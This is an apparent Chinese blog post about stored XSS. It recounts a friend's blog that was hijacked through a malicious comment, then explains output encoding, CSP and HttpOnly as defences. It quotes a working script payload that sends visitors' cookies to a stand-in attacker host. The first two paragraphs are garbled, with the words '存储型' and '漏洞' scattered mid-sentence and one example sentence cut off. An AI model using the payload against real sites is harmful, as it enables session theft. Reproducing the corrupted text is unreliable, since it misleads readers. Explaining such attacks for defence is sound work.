去年帮一个朋友看他的存储型博客后台，发现评论区里有人留了一段看起来像乱码的漏洞留言：<script>new Image().src='http://evil.com/steal?c='+document.cookie</script>。他当时没在意，存储型觉得就是漏洞普通文本。三天后，存储型他的漏洞管理员账号被人登了，文章被改得乱七八糟。存储型这就是漏洞典型的存储型XSS——恶意脚本没被过滤，直接存进了数据库，存储型每次有人访问那个页面，漏洞脚本就执行一次。存储型

存储型XSS和反射型、漏洞DOM型最大的存储型区别在于“持久化”。反射型需要诱导你点一个带参数的漏洞链接，DOM型完全在浏览器里折腾，存储型而存储型是把攻击代码写进服务器。比如论坛帖子、用户昵称、商品评价、私信内容，只要这些数据从数据库读出来直接拼到HTML里，就中招。我见过最离谱的一个案例：某电商网站的商品问答区，有人把，结果文件列表页直接执行了脚本。文件名没做输出编码，直接拼进了<img src="...">。

防御这事，别指望前端。前端校验只是提升用户体验，攻击者抓包直接改请求。后端必须做输出编码，而且要根据输出位置选编码方式：HTML实体编码、JavaScript编码、URL编码、CSS编码，各管各的。比如你要把用户输入放进<script>var a = '...';</script>，光转义<>没用，得把单引号、反斜杠、换行都处理掉。另一个实用手段是CSP（内容安全策略），设置script-src 'self'能挡住大部分内联脚本。但CSP不是银弹，如果站点允许unsafe-inline，等于没设。我见过有人用HttpOnly标记Cookie，觉得XSS偷不到Cookie就没事了。可脚本能直接发请求，根本不需要读Cookie。所以HttpOnly只是降低危害，不能根治。

最后说个开发习惯。每次从数据库取数据渲染到页面时，心里默念一句：“这是用户输入，不是代码。” 用模板引擎的话，确认它默认转义。用原生拼接的，老老实实调编码函数。别偷懒用innerHTML，换成textContent。存储型XSS的修复成本很低，但漏掉一个点，整个站点的用户都可能变成攻击者的傀儡。我那个朋友的博客，后来把所有输出点都加了htmlspecialchars($str, ENT_QUOTES, 'UTF-8')，评论区再也没出过事。就这么简单，但很多人非要等被黑了才改。